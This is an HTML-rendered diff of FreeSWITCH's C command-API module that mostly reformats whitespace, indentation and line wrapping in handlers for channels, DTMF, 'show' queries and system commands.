</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(cmd, "uuid:", 5)) {
</span><span class="cx">                 p = cmd + 5;
</span><span class="cx">                 if ((input = strchr(p, ' ')) && *input++) {
</span><span class="cx">                         switch_copy_string(uuid, p, input - p);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(input)) {
</span><span class="cx">                 stream->write_function(stream, "%s", "");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">         if (*uuid) {
</span><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -984,14 +983,14 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         expanded = switch_event_expand_headers(event, input);
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "%s", expanded);
</span><span class="cx">
</span><span class="cx">         if (expanded != input) {
</span><span class="cx">                 free(expanded);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(module_exists_function)
</span><span class="lines">@@ -1001,25 +1000,25 @@
</span><span class="cx">                         stream->write_function(stream, "true");
</span><span class="cx">                 } else {
</span><span class="cx">                         stream->write_function(stream, "false");
</span><del>-                }                
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(domain_exists_function)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t root = NULL, domain = NULL;
</span><del>-        
-        if (!zstr(cmd)) {        
</del><ins>+
+        if (!zstr(cmd)) {
</ins><span class="cx">                 if (switch_xml_locate_domain(cmd, NULL, &root, &domain) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream->write_function(stream, "true");
</span><del>-                        switch_xml_free(root);
</del><ins>+                        switch_xml_free(root);
</ins><span class="cx">                 } else {
</span><span class="cx">                         stream->write_function(stream, "false");
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1027,7 +1026,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *reply = "";
</span><span class="cx">         char *data = NULL;
</span><del>-        int len = 0 ;
</del><ins>+        int len = 0;
</ins><span class="cx">
</span><span class="cx">         if (!zstr(cmd)) {
</span><span class="cx">                 len = (strlen(cmd) * 3) + 1;
</span><span class="lines">@@ -1039,7 +1038,7 @@
</span><span class="cx">         stream->write_function(stream, "%s", reply);
</span><span class="cx">
</span><span class="cx">         switch_safe_free(data);
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1213,7 +1212,7 @@
</span><span class="cx">
</span><span class="cx">         mydata = strdup(cmd);
</span><span class="cx">         switch_assert(mydata);
</span><del>-        
</del><ins>+
</ins><span class="cx">         d = mydata;
</span><span class="cx">
</span><span class="cx">         if (*d == 'm' && *(d + 1) == ':' && *(d + 2)) {
</span><span class="lines">@@ -1230,8 +1229,8 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         argc = switch_separate_string(d, delim, argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">
</span><span class="cx">         if (argc < 2) {
</span><span class="lines">@@ -1645,10 +1644,10 @@
</span><span class="cx">
</span><span class="cx">         if (*p == '-') {
</span><span class="cx">                 p++;
</span><del>-                while(p && *p) {
</del><ins>+                while (p && *p) {
</ins><span class="cx">                         switch (*p) {
</span><span class="cx">                         case ' ':
</span><del>-                                cmd = p+1;
</del><ins>+                                cmd = p + 1;
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         case 'f':
</span><span class="cx">                                 force = SWITCH_TRUE;
</span><span class="lines">@@ -1659,7 +1658,7 @@
</span><span class="cx">                         p++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "-USAGE: %s\n", UNLOAD_SYNTAX);
</span><span class="lines">@@ -1688,10 +1687,10 @@
</span><span class="cx">
</span><span class="cx">         if (*p == '-') {
</span><span class="cx">                 p++;
</span><del>-                while(p && *p) {
</del><ins>+                while (p && *p) {
</ins><span class="cx">                         switch (*p) {
</span><span class="cx">                         case ' ':
</span><del>-                                cmd = p+1;
</del><ins>+                                cmd = p + 1;
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         case 'f':
</span><span class="cx">                                 force = SWITCH_TRUE;
</span><span class="lines">@@ -1702,7 +1701,7 @@
</span><span class="cx">                         p++;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "-USAGE: %s\n", UNLOAD_SYNTAX);
</span><span class="lines">@@ -1759,9 +1758,9 @@
</span><span class="cx">                 stream->write_function(stream, "-ERR No Such Channel!\n");
</span><span class="cx">         } else {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(ksession);
</span><del>-                if (!zstr(kcause)){
</del><ins>+                if (!zstr(kcause)) {
</ins><span class="cx">                         cause = switch_channel_str2cause(kcause);
</span><del>-                }
</del><ins>+                }
</ins><span class="cx">                 switch_channel_hangup(channel, cause);
</span><span class="cx">                 switch_core_session_rwunlock(ksession);
</span><span class="cx">                 stream->write_function(stream, "+OK\n");
</span><span class="lines">@@ -1792,16 +1791,16 @@
</span><span class="cx">                 stream->write_function(stream, "-ERR No Such Channel!\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         } else {
</span><del>-                switch_ivr_preprocess_session(ksession, (char *)argv[1]);
</del><ins>+                switch_ivr_preprocess_session(ksession, (char *) argv[1]);
</ins><span class="cx">                 switch_core_session_rwunlock(ksession);
</span><span class="cx">                 stream->write_function(stream, "+OK\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", PREPROCESS_SYNTAX);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2349,7 +2348,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><span class="cx">                 switch_core_session_t *lsession = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO;
</span><span class="cx">                 msg.string_array_arg[0] = argv[1];
</span><span class="cx">                 msg.string_array_arg[1] = argv[2];
</span><span class="lines">@@ -2366,9 +2365,9 @@
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "-ERR Operation Failed\n");
</span><span class="cx">         }
</span><del>-        
- done:
</del><span class="cx">
</span><ins>+ done:
+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2446,8 +2445,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!strcasecmp(action, "start")) {
</span><del>-                if (switch_ivr_record_session(rsession, path, limit, NULL)!= SWITCH_STATUS_SUCCESS) {
-                        stream->write_function(stream, "-ERR Cannot record session!\n");
</del><ins>+                if (switch_ivr_record_session(rsession, path, limit, NULL) != SWITCH_STATUS_SUCCESS) {
+                        stream->write_function(stream, "-ERR Cannot record session!\n");
</ins><span class="cx">                 } else {
</span><span class="cx">                         stream->write_function(stream, "+OK Success\n");
</span><span class="cx">                 }
</span><span class="lines">@@ -2518,7 +2517,7 @@
</span><span class="cx">                 if (switch_ivr_stop_displace_session(rsession, path) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream->write_function(stream, "-ERR Cannot stop displace session!\n");
</span><span class="cx">                 } else {
</span><del>-                        stream->write_function(stream, "+OK Success\n");
</del><ins>+                        stream->write_function(stream, "+OK Success\n");
</ins><span class="cx">                 }
</span><span class="cx">         } else {
</span><span class="cx">                 goto usage;
</span><span class="lines">@@ -2550,32 +2549,35 @@
</span><span class="cx">         int level;
</span><span class="cx">
</span><span class="cx">         if (zstr(cmd)) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         mycmd = strdup(cmd);
</span><span class="cx">         argc = switch_split(mycmd, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 2) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(u_session = switch_core_session_locate(argv[0]))) {
</span><span class="cx">                 stream->write_function(stream, "-ERR No Such Channel!\n");
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], "stop")) {
</span><span class="cx">                 switch_ivr_stop_session_audio(u_session);
</span><span class="cx">                 goto done;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (strcasecmp(argv[1], "start") || argc < 5 || (strcasecmp(argv[2], "read") && strcasecmp(argv[2], "write"))) {
</span><del>-                fail++; goto done;
</del><ins>+                fail++;
+                goto done;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         level = atoi(argv[4]);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[3], "mute")) {
</span><span class="cx">                 switch_ivr_session_audio(u_session, "mute", argv[2], level);
</span><span class="cx">         } else if (!strcasecmp(argv[3], "level")) {
</span><span class="lines">@@ -2584,7 +2586,7 @@
</span><span class="cx">                 fail++;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (u_session) {
</span><span class="cx">                 switch_core_session_rwunlock(u_session);
</span><span class="lines">@@ -2637,7 +2639,7 @@
</span><span class="cx">                 switch_channel_set_flag(channel, CF_BREAK);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -2895,7 +2897,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(unsched_api_function)
</span><span class="cx"> {
</span><span class="cx">         uint32_t id;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd) {
</span><span class="cx">                 stream->write_function(stream, "-ERR Invalid syntax. USAGE: %s\n", UNSCHED_SYNTAX);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2955,7 +2957,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- bad:
</del><ins>+ bad:
</ins><span class="cx">
</span><span class="cx">         stream->write_function(stream, "-ERR Invalid syntax. USAGE: %s\n", SCHED_SYNTAX);
</span><span class="cx">
</span><span class="lines">@@ -3085,12 +3087,12 @@
</span><span class="cx">                         return -1;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder->justcount) {
</span><del>-         holder->count++;
-         return 0;
</del><ins>+                holder->count++;
+                return 0;
</ins><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!(row = switch_xml_add_child_d(holder->xml, "row", holder->rows++))) {
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="lines">@@ -3123,12 +3125,12 @@
</span><span class="cx"> {
</span><span class="cx">         struct holder *holder = (struct holder *) pArg;
</span><span class="cx">         int x;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder->justcount) {
</span><del>-         holder->count++;
-         return 0;
</del><ins>+                holder->count++;
+                return 0;
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (holder->print_title && holder->count == 0) {
</span><span class="cx">                 if (holder->http) {
</span><span class="cx">                         holder->stream->write_function(holder->stream, "\n<tr>");
</span><span class="lines">@@ -3215,22 +3217,22 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><span class="cx">         switch_core_db_handle(&db);
</span><del>-        
</del><ins>+
</ins><span class="cx">         holder.justcount = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cmd && (mydata = strdup(cmd))) {
</span><span class="cx">                 argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">                 command = argv[0];
</span><span class="cx">                 if (argv[2] && !strcasecmp(argv[1], "as")) {
</span><span class="cx">                         as = argv[2];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (stream->param_event) {
</span><span class="cx">                 const char *var;
</span><span class="cx">                 holder.http = switch_event_get_header(stream->param_event, "http-host");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((var = switch_event_get_header(stream->param_event, "content-type"))) {
</span><span class="cx">                         if (!strcasecmp(var, "text/plain")) {
</span><span class="cx">                                 holder.http = NULL;
</span><span class="lines">@@ -3253,14 +3255,12 @@
</span><span class="cx">         if (!command) {
</span><span class="cx">                 stream->write_function(stream, "-USAGE: %s\n", SHOW_SYNTAX);
</span><span class="cx">                 goto end;
</span><del>-        } else if (!strncasecmp(command, "codec", 5) ||
-                         !strncasecmp(command, "dialplan", 8) ||
-                         !strncasecmp(command, "file", 4) ||
-                         !strncasecmp(command, "timer", 5) ||
-                         !strncasecmp(command, "chat", 4) ||
-                         !strncasecmp(command, "say", 3) ||
-                         !strncasecmp(command, "management", 10) ||
-                         !strncasecmp(command, "endpoint", 8)) {
</del><ins>+        } else if (!strncasecmp(command, "codec", 5) ||
+                         !strncasecmp(command, "dialplan", 8) ||
+                         !strncasecmp(command, "file", 4) ||
+                         !strncasecmp(command, "timer", 5) ||
+                         !strncasecmp(command, "chat", 4) ||
+                         !strncasecmp(command, "say", 3) || !strncasecmp(command, "management", 10) || !strncasecmp(command, "endpoint", 8)) {
</ins><span class="cx">                 if (end_of(command) == 's') {
</span><span class="cx">                         end_of(command) = '\0';
</span><span class="cx">                 }
</span><span class="lines">@@ -3279,17 +3279,19 @@
</span><span class="cx">                 sprintf(sql, "select * from %s", command);
</span><span class="cx">         } else if (!strcasecmp(command, "application") || !strcasecmp(command, "api")) {
</span><span class="cx">                 if (argv[1] && strcasecmp(argv[1], "as")) {
</span><del>-                        sprintf(sql, "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name", command, argv[1]);
</del><ins>+                        sprintf(sql,
+                                        "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name",
+                                        command, argv[1]);
</ins><span class="cx">                 } else {
</span><span class="cx">                         sprintf(sql, "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' order by type,name", command);
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, "calls")) {
</span><span class="cx">                 sprintf(sql, "select * from calls order by call_created_epoch");
</span><del>-                if (argv[1] && !strcasecmp(argv[1],"count")) {
-                 holder.justcount = 1;
-                 if (argv[3] && !strcasecmp(argv[2], "as")) {
-                        as = argv[3];
-                 }
</del><ins>+                if (argv[1] && !strcasecmp(argv[1], "count")) {
+                        holder.justcount = 1;
+                        if (argv[3] && !strcasecmp(argv[2], "as")) {
+                                as = argv[3];
+                        }
</ins><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, "channels") && argv[1] && !strcasecmp(argv[1], "like")) {
</span><span class="cx">                 if (argv[2]) {
</span><span class="lines">@@ -3300,27 +3302,29 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         if (strchr(argv[2], '%')) {
</span><del>-                                sprintf(sql, "select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch",
</del><ins>+                                sprintf(sql,
+                                                "select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch",
</ins><span class="cx">                                                 argv[2], argv[2], argv[2], argv[2]);
</span><span class="cx">                         } else {
</span><del>-                                sprintf(sql, "select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch",
</del><ins>+                                sprintf(sql,
+                                                "select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch",
</ins><span class="cx">                                                 argv[2], argv[2], argv[2], argv[2]);
</span><span class="cx">
</span><span class="cx">                         }
</span><del>-                                        
-                 if (argv[4] && !strcasecmp(argv[3], "as")) {
</del><ins>+
+                        if (argv[4] && !strcasecmp(argv[3], "as")) {
</ins><span class="cx">                                 as = argv[4];
</span><del>-                 }
</del><ins>+                        }
</ins><span class="cx">                 } else {
</span><span class="cx">                         sprintf(sql, "select * from channels order by created_epoch");
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, "channels")) {
</span><span class="cx">                 sprintf(sql, "select * from channels order by created_epoch");
</span><del>-                if (argv[1] && !strcasecmp(argv[1],"count")) {
-                 holder.justcount = 1;
-                 if (argv[3] && !strcasecmp(argv[2], "as")) {
</del><ins>+                if (argv[1] && !strcasecmp(argv[1], "count")) {
+                        holder.justcount = 1;
+                        if (argv[3] && !strcasecmp(argv[2], "as")) {
</ins><span class="cx">                                 as = argv[3];
</span><del>-                 }
</del><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, "distinct_channels")) {
</span><span class="cx">                 sprintf(sql, "select * from channels left join calls on "
</span><span class="lines">@@ -3339,23 +3343,18 @@
</span><span class="cx">                 holder.print_title = 0;
</span><span class="cx">                 if ((cmdname = strchr(command, ' ')) && strcasecmp(cmdname, "as")) {
</span><span class="cx">                         *cmdname++ = '\0';
</span><del>-                        switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name",
-                                                        cmdname);
</del><ins>+                        switch_snprintf(sql, sizeof(sql) - 1,
+                                                        "select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name", cmdname);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, ikey from interfaces where type = 'api' order by name");
</span><span class="cx">                 }
</span><span class="cx">         } else if (!strcasecmp(command, "nat_map")) {
</span><del>-                        switch_snprintf(sql, sizeof(sql) - 1,
-                                "SELECT port, "
-                                " CASE proto "
-                                "        WHEN 0 THEN 'udp' "
-                                "        WHEN 1 THEN 'tcp' "
-                                "        ELSE 'unknown' "
-                                " END AS proto, "
-                                " proto AS proto_num, "
-                                " sticky "
-                                " FROM nat ORDER BY port, proto"
-                        );
</del><ins>+                switch_snprintf(sql, sizeof(sql) - 1,
+                                                "SELECT port, "
+                                                " CASE proto "
+                                                "        WHEN 0 THEN 'udp' "
+                                                "        WHEN 1 THEN 'tcp' "
+                                                "        ELSE 'unknown' " " END AS proto, " " proto AS proto_num, " " sticky " " FROM nat ORDER BY port, proto");
</ins><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "-USAGE: %s\n", SHOW_SYNTAX);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -3374,7 +3373,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SQL: %s.\n", sql); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(as, "delim") || !strcasecmp(as, "csv")) {
</span><span class="cx">                 if (zstr(holder.delim)) {
</span><span class="cx">                         if (!(holder.delim = argv[3])) {
</span><span class="lines">@@ -3427,7 +3426,7 @@
</span><span class="cx">                 holder.stream->write_function(holder.stream, "-ERR Cannot find format %s\n", as);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">
</span><span class="lines">@@ -3476,12 +3475,12 @@
</span><span class="cx">         if (argc < 2 || !argv[0]) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(l_session = switch_core_session_locate(argv[0]))) {
</span><span class="cx">                 stream->write_function(stream, "-ERR Usage: cannot locate session.\n");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], "sched")) {
</span><span class="cx">                 x = 2;
</span><span class="cx">                 sched++;
</span><span class="lines">@@ -3497,7 +3496,7 @@
</span><span class="cx">         } else if (!switch_true(argv[x])) {
</span><span class="cx">                 seconds = 0;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (seconds) {
</span><span class="cx">                 if (sched) {
</span><span class="cx">                         switch_core_session_sched_heartbeat(l_session, seconds);
</span><span class="lines">@@ -3508,14 +3507,14 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_disable_heartbeat(l_session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_rwunlock(l_session);
</span><del>-        
-        switch_safe_free(mycmd);        
</del><ins>+
+        switch_safe_free(mycmd);
</ins><span class="cx">         stream->write_function(stream, "+OK\n");
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-        
- error:
</del><ins>+
+ error:
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         stream->write_function(stream, "-ERR Usage: uuid_session_heartbeat %s", HEARTBEAT_SYNTAX);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -3551,7 +3550,7 @@
</span><span class="cx">                         char *var_value = NULL;
</span><span class="cx">
</span><span class="cx">                         if (argc == 3) {
</span><del>-                                var_value =        argv[2];
</del><ins>+                                var_value = argv[2];
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if ((psession = switch_core_session_locate(uuid))) {
</span><span class="lines">@@ -3600,10 +3599,10 @@
</span><span class="cx">
</span><span class="cx">                 if ((psession = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(psession);
</span><del>-                        int x, y = 0;                
</del><ins>+                        int x, y = 0;
</ins><span class="cx">                         argc = switch_separate_string(vars, ';', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">
</span><del>-                        for (x = 0 ; x < argc; x++) {
</del><ins>+                        for (x = 0; x < argc; x++) {
</ins><span class="cx">                                 var_name = argv[x];
</span><span class="cx">                                 if (var_name && (var_value = strchr(var_name, '='))) {
</span><span class="cx">                                         *var_value++ = '\0';
</span><span class="lines">@@ -3616,7 +3615,7 @@
</span><span class="cx">                                         y++;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_core_session_rwunlock(psession);
</span><span class="cx">                         if (y) {
</span><span class="cx">                                 stream->write_function(stream, "+OK\n");
</span><span class="lines">@@ -3626,7 +3625,7 @@
</span><span class="cx">                         stream->write_function(stream, "-ERR No Such Channel!\n");
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", SETVAR_MULTI_SYNTAX);
</span><span class="cx">
</span><span class="cx"> done:
</span><span class="lines">@@ -3729,10 +3728,10 @@
</span><span class="cx">         switch_core_session_send_dtmf_string(psession, (const char *) dtmf_data);
</span><span class="cx">         goto done;
</span><span class="cx">
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", UUID_SEND_DTMF_SYNTAX);
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -3777,10 +3776,10 @@
</span><span class="cx">         switch_channel_queue_dtmf_string(switch_core_session_get_channel(psession), dtmf_data);
</span><span class="cx">         goto done;
</span><span class="cx">
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-USAGE: %s\n", UUID_RECV_DTMF_SYNTAX);
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         if (psession) {
</span><span class="cx">                 switch_core_session_rwunlock(psession);
</span><span class="cx">         }
</span><span class="lines">@@ -3896,34 +3895,34 @@
</span><span class="cx"> #define SYSTEM_SYNTAX "<command>"
</span><span class="cx"> SWITCH_STANDARD_API(system_function)
</span><span class="cx"> {
</span><del>- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        if (zstr(cmd)) {
+                stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
- if (switch_system(cmd, SWITCH_TRUE) < 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
- }
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
+        if (switch_system(cmd, SWITCH_TRUE) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
+        }
+        stream->write_function(stream, "+OK\n");
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #define SYSTEM_SYNTAX "<command>"
</span><span class="cx"> SWITCH_STANDARD_API(bg_system_function)
</span><span class="cx"> {
</span><del>- if (zstr(cmd)) {
- stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        if (zstr(cmd)) {
+                stream->write_function(stream, "-USAGE: %s\n", SYSTEM_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
- if (switch_system(cmd, SWITCH_FALSE) < 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
- }
- stream->write_function(stream, "+OK\n");
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Executing command: %s\n", cmd);
+        if (switch_system(cmd, SWITCH_FALSE) < 0) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Failed to execute command: %s\n", cmd);
+        }
+        stream->write_function(stream, "+OK\n");
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_API(strftime_tz_api_function)
</span><span class="lines">@@ -3939,13 +3938,13 @@
</span><span class="cx">                         *format++ = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) { /* The lookup of the zone may fail. */
</del><ins>+
+        if (switch_strftime_tz(tz_name, format, date, sizeof(date), 0) == SWITCH_STATUS_SUCCESS) {        /* The lookup of the zone may fail. */
</ins><span class="cx">                 stream->write_function(stream, "%s", date);
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "-ERR Invalid Timezone\n");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -3976,13 +3975,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_core_session_hupall_matching_var(var, val, cause);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(var)) {
</span><span class="cx">                 stream->write_function(stream, "+OK hangup all channels with cause %s\n", switch_channel_cause2str(cause));
</span><span class="cx">         } else {
</span><span class="cx">                 stream->write_function(stream, "+OK hangup all channels matching [%s]=[%s] with cause: %s\n", var, val, switch_channel_cause2str(cause));
</span><span class="cx">         }
